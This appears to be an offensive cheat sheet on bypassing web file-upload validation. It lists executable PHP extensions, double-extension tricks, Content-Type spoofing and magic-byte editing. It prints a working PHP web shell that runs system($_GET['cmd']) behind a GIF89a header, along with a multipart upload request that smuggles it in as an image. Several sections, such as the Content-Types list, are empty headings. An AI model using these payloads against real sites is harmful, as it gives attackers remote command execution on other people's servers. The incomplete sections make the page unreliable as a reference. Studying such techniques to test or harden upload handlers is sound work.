File Upload Tricks

When uploading files , check for validation on :

  1. File extension

    • Server side extension allowed ? :

    php
    phtml
    php4
    • Stacking / Double Extension

    .php.png
    .%20.php

Using gif (shell.php)

GIF89a;
<?php
system($_GET['cmd']);
?>

Advanced gif

Content-Disposition: form-data; name="upload"; filename="web.php"
Content-Type: image/png

GIF89a;
<?php
system($_GET['cmd']);
?>

  1. Content-Type header

  • Is server extension like php able to bypass the upload restriction ?

- If yes , just change content-type header to like image and it will still run as php.

  • Does the server validate content-type header like disallow application/json?

  1. Magic bytes (file hex value)

  • Does the server check file signature ?

  • If no , can change file signature using hexedit

PHP Function Exploit

imagecopyresampled imagecreatefromstring

solution :Hide the webshell in the IDAT chunk of PNG

Rename to webshell.png.php

Shell exec

php

Examples

Content-Types of Common Files

Pictures :

JSON :

PHP :

TXT :

XML :

HTML :

JAVASCRIPT :

PDF

AUDIO

VIDEO

Last updated

Was this helpful?